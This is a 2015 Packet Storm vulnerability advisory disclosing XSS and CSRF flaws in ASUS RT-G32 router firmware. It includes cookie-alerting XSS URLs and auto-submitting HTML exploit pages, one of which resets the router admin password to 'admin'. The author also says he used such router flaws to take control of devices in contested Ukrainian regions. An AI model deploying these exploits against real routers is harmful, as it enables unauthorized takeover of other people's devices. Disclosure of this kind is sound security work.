ASUS RT-G32 Cross Site Request Forgery / Cross Site Scripting

2015-03-07T00:00:00
ID PACKETSTORM:130724
Type packetstorm
Reporter MustLive
Modified 2015-03-07T00:00:00

Description

                                        
                                            `Hello list!  
  
There are Cross-Site Scripting and Cross-Site Request Forgery  
vulnerabilities in ASUS Wireless Router RT-G32.  
  
-------------------------  
Affected products:  
-------------------------  
  
Vulnerable is the next model: ASUS RT-G32 with different versions of  
firmware. I checked in ASUS RT-G32 with firmware versions 2.0.2.6 and  
2.0.3.2.  
  
----------  
Details:  
----------  
  
Cross-Site Scripting (WASC-08):  
  
http://site/start_apply.htm?next_page=%27%2balert(document.cookie)%2b%27  
  
http://site/start_apply.htm?group_id=%27%2balert(document.cookie)%2b%27  
  
http://site/start_apply.htm?action_script=%27%2balert%28document.cookie%29%2b%27  
  
http://site/start_apply.htm?flag=%27%2balert%28document.cookie%29%2b%27  
  
These vulnerabilities work as via GET, as via POST (work even without  
authorization).  
  
ASUS RT-G32 XSS-1.html  
  
<html>  
<head>  
<title>ASUS RT-G32 XSS exploit (C) 2015 MustLive</title>  
</head>  
<body onLoad="document.hack.submit()">  
<form name="hack" action="http://site/start_apply.htm" method="post">  
<input type="hidden" name="next_page" value="'+alert(document.cookie)+'">  
<input type="hidden" name="group_id" value="'+alert(document.cookie)+'">  
<input type="hidden" name="action_script"  
value="'+alert(document.cookie)+'">  
<input type="hidden" name="flag" value="'+alert(document.cookie)+'">  
</form>  
</body>  
</html>  
  
Cross-Site Request Forgery (WASC-09):  
  
CSRF vulnerability allows to change different settings, including admin's  
password. As I showed in this exploit (post-auth).  
  
ASUS RT-G32 CSRF-1.html  
  
<html>  
<head>  
<title>ASUS RT-G32 CSRF exploit (C) 2015 MustLive</title>  
</head>  
<body onLoad="document.hack.submit()">  
<form name="hack" action="http://site/start_apply.htm" method="post">  
<input type="hidden" name="http_passwd" value="admin">  
<input type="hidden" name="http_passwd2" value="admin">  
<input type="hidden" name="v_password2" value="admin">  
<input type="hidden" name="action_mode" value="+Apply+">  
</form>  
</body>  
</html>  
  
I found this and other routers since summer to take control over terrorists  
in Crimea, Donetsk & Lugansks regions of Ukraine. Read about it in the list  
(http://lists.webappsec.org/pipermail/websecurity_lists.webappsec.org/2015-February/009077.html)  
and in many my interviews  
(http://www.thedailybeast.com/articles/2015/02/18/ukraine-s-lonely-cyber-warrior.html).  
  
I mentioned about these vulnerabilities at my site  
(http://websecurity.com.ua/7644/).  
  
Best wishes & regards,  
MustLive  
Administrator of Websecurity web site  
http://websecurity.com.ua   
`